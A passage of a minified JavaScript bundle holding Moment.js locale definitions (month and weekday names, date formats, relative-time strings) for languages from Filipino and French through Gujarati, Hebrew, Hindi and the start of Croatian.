strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(a(381))},4694:function(e,t,a){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},3049:function(e,t,a){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(a(381))},2330:function(e,t,a){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(a(381))},4470:function(e,t,a){!function(e){"use strict";var t=/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,a=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,n=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,i=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:n,monthsShortRegex:n,monthsStrictRegex:t,monthsShortStrictRegex:a,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(a(381))},5044:function(e,t,a){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),a="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[ôfrûne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien minút",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(a(381))},9295:function(e,t,a){!function(e){"use strict";var t=["Eanáir","Feabhra","Márta","Aibreán","Bealtaine","Meitheamh","Iúil","Lúnasa","Meán Fómhair","Deireadh Fómhair","Samhain","Nollaig"],a=["Ean","Feabh","Márt","Aib","Beal","Meith","Iúil","Lún","M.F.","D.F.","Samh","Noll"],n=["Dé Domhnaigh","Dé Luain","Dé Máirt","Dé Céadaoin","Déardaoin","Dé hAoine","Dé Sathairn"],i=["Domh","Luan","Máirt","Céad","Déar","Aoine","Sath"],r=["Do","Lu","Má","Cé","Dé","A","Sa"];e.defineLocale("ga",{months:t,monthsShort:a,monthsParseExact:!0,weekdays:n,weekdaysShort:i,weekdaysMin:r,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Inniu ag] LT",nextDay:"[Amárach ag] LT",nextWeek:"dddd [ag] LT",lastDay:"[Inné ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s ó shin",s:"cúpla soicind",ss:"%d soicind",m:"nóiméad",mm:"%d nóiméad",h:"uair an chloig",hh:"%d uair an chloig",d:"lá",dd:"%d lá",M:"mí",MM:"%d míonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(a(381))},2101:function(e,t,a){!function(e){"use strict";var t=["Am Faoilleach","An Gearran","Am Màrt","An Giblean","An Cèitean","An t-Ògmhios","An t-Iuchar","An Lùnastal","An t-Sultain","An Dàmhair","An t-Samhain","An Dùbhlachd"],a=["Faoi","Gear","Màrt","Gibl","Cèit","Ògmh","Iuch","Lùn","Sult","Dàmh","Samh","Dùbh"],n=["Didòmhnaich","Diluain","Dimàirt","Diciadain","Diardaoin","Dihaoine","Disathairne"],i=["Did","Dil","Dim","Dic","Dia","Dih","Dis"],r=["Dò","Lu","Mà","Ci","Ar","Ha","Sa"];e.defineLocale("gd",{months:t,monthsShort:a,monthsParseExact:!0,weekdays:n,weekdaysShort:i,weekdaysMin:r,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-màireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-dè aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"mìos",MM:"%d mìosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(a(381))},8794:function(e,t,a){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_mércores_xoves_venres_sábado".split("_"),weekdaysShort:"dom._lun._mar._mér._xov._ven._sáb.".split("_"),weekdaysMin:"do_lu_ma_mé_xo_ve_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"ás":"á")+"] LT"},nextDay:function(){return"[mañá "+(1!==this.hours()?"ás":"á")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"ás":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"á":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"ás":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},7884:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={s:["थोडया सॅकंडांनी","थोडे सॅकंड"],ss:[e+" सॅकंडांनी",e+" सॅकंड"],m:["एका मिणटान","एक मिनूट"],mm:[e+" मिणटांनी",e+" मिणटां"],h:["एका वरान","एक वर"],hh:[e+" वरांनी",e+" वरां"],d:["एका दिसान","एक दीस"],dd:[e+" दिसांनी",e+" दीस"],M:["एका म्हयन्यान","एक म्हयनो"],MM:[e+" म्हयन्यानी",e+" म्हयने"],y:["एका वर्सान","एक वर्स"],yy:[e+" वर्सांनी",e+" वर्सां"]};return n?i[a][0]:i[a][1]}e.defineLocale("gom-deva",{months:{standalone:"जानेवारी_फेब्रुवारी_मार्च_एप्रील_मे_जून_जुलय_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),format:"जानेवारीच्या_फेब्रुवारीच्या_मार्चाच्या_एप्रीलाच्या_मेयाच्या_जूनाच्या_जुलयाच्या_ऑगस्टाच्या_सप्टेंबराच्या_ऑक्टोबराच्या_नोव्हेंबराच्या_डिसेंबराच्या".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"जाने._फेब्रु._मार्च_एप्री._मे_जून_जुल._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"आयतार_सोमार_मंगळार_बुधवार_बिरेस्तार_सुक्रार_शेनवार".split("_"),weekdaysShort:"आयत._सोम._मंगळ._बुध._ब्रेस्त._सुक्र._शेन.".split("_"),weekdaysMin:"आ_सो_मं_बु_ब्रे_सु_शे".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [वाजतां]",LTS:"A h:mm:ss [वाजतां]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [वाजतां]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [वाजतां]",llll:"ddd, D MMM YYYY, A h:mm [वाजतां]"},calendar:{sameDay:"[आयज] LT",nextDay:"[फाल्यां] LT",nextWeek:"[फुडलो] dddd[,] LT",lastDay:"[काल] LT",lastWeek:"[फाटलो] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s आदीं",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(वेर)/,ordinal:function(e,t){switch(t){case"D":return e+"वेर";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/राती|सकाळीं|दनपारां|सांजे/,meridiemHour:function(e,t){return 12===e&&(e=0),"राती"===t?e<4?e:e+12:"सकाळीं"===t?e:"दनपारां"===t?e>12?e:e+12:"सांजे"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"राती":e<12?"सकाळीं":e<16?"दनपारां":e<20?"सांजे":"राती"}})}(a(381))},3168:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return n?i[a][0]:i[a][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){switch(t){case"D":return e+"er";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(a(381))},5349:function(e,t,a){!function(e){"use strict";var t={1:"૧",2:"૨",3:"૩",4:"૪",5:"૫",6:"૬",7:"૭",8:"૮",9:"૯",0:"૦"},a={"૧":"1","૨":"2","૩":"3","૪":"4","૫":"5","૬":"6","૭":"7","૮":"8","૯":"9","૦":"0"};e.defineLocale("gu",{months:"જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"),monthsShort:"જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"),monthsParseExact:!0,weekdays:"રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"),weekdaysShort:"રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"),weekdaysMin:"ર_સો_મં_બુ_ગુ_શુ_શ".split("_"),longDateFormat:{LT:"A h:mm વાગ્યે",LTS:"A h:mm:ss વાગ્યે",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm વાગ્યે",LLLL:"dddd, D MMMM YYYY, A h:mm વાગ્યે"},calendar:{sameDay:"[આજ] LT",nextDay:"[કાલે] LT",nextWeek:"dddd, LT",lastDay:"[ગઇકાલે] LT",lastWeek:"[પાછલા] dddd, LT",sameElse:"L"},relativeTime:{future:"%s મા",past:"%s પહેલા",s:"અમુક પળો",ss:"%d સેકંડ",m:"એક મિનિટ",mm:"%d મિનિટ",h:"એક કલાક",hh:"%d કલાક",d:"એક દિવસ",dd:"%d દિવસ",M:"એક મહિનો",MM:"%d મહિનો",y:"એક વર્ષ",yy:"%d વર્ષ"},preparse:function(e){return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/રાત|બપોર|સવાર|સાંજ/,meridiemHour:function(e,t){return 12===e&&(e=0),"રાત"===t?e<4?e:e+12:"સવાર"===t?e:"બપોર"===t?e>=10?e:e+12:"સાંજ"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"રાત":e<10?"સવાર":e<17?"બપોર":e<20?"સાંજ":"રાત"},week:{dow:0,doy:6}})}(a(381))},4206:function(e,t,a){!function(e){"use strict";e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,a){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?a?'לפנה"צ':"לפני הצהריים":e<18?a?'אחה"צ':"אחרי הצהריים":"בערב"}})}(a(381))},94:function(e,t,a){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},a={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"},n=[/^जन/i,/^फ़र|फर/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सितं|सित/i,/^अक्टू/i,/^नव|नवं/i,/^दिसं|दिस/i],i=[/^जन/i,/^फ़र/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सित/i,/^अक्टू/i,/^नव/i,/^दिस/i];e.defineLocale("hi",{months:{format:"जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"),standalone:"जनवरी_फरवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितंबर_अक्टूबर_नवंबर_दिसंबर".split("_")},monthsShort:"जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"),weekdays:"रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm बजे",LTS:"A h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm बजे",LLLL:"dddd, D MMMM YYYY, A h:mm बजे"},monthsParse:n,longMonthsParse:n,shortMonthsParse:i,monthsRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsShortRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsStrictRegex:/^(जनवरी?|फ़रवरी|फरवरी?|मार्च?|अप्रैल?|मई?|जून?|जुलाई?|अगस्त?|सितम्बर|सितंबर|सित?\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर?|दिसम्बर|दिसंबर?)/i,monthsShortStrictRegex:/^(जन\.?|फ़र\.?|मार्च?|अप्रै\.?|मई?|जून?|जुल\.?|अग\.?|सित\.?|अक्टू\.?|नव\.?|दिस\.?)/i,calendar:{sameDay:"[आज] LT",nextDay:"[कल] LT",nextWeek:"dddd, LT",lastDay:"[कल] LT",lastWeek:"[पिछले] dddd, LT",sameElse:"L"},relativeTime:{future:"%s में",past:"%s पहले",s:"कुछ ही क्षण",ss:"%d सेकंड",m:"एक मिनट",mm:"%d मिनट",h:"एक घंटा",hh:"%d घंटे",d:"एक दिन",dd:"%d दिन",M:"एक महीने",MM:"%d महीने",y:"एक वर्ष",yy:"%d वर्ष"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/रात|सुबह|दोपहर|शाम/,meridiemHour:function(e,t){return 12===e&&(e=0),"रात"===t?e<4?e:e+12:"सुबह"===t?e:"दोपहर"===t?e>=10?e:e+12:"शाम"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"रात":e<10?"सुबह":e<17?"दोपहर":e<20?"शाम":"रात"},week:{dow:0,doy:6}})}(a(381))},316:function(e,t,a){!function(e){"use strict";function t(e,t,a){var n=e+" ";switch(a){case"ss":return n+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return n+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return n+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return n+=1===e?"dan":"dana";case"MM":return n+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return n+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("hr",{months:{format:"siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"),standalone:"siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_")},monthsShort:"sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM YYYY",LLL:"Do MMMM YYYY H:mm",LLLL:"dddd, Do MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 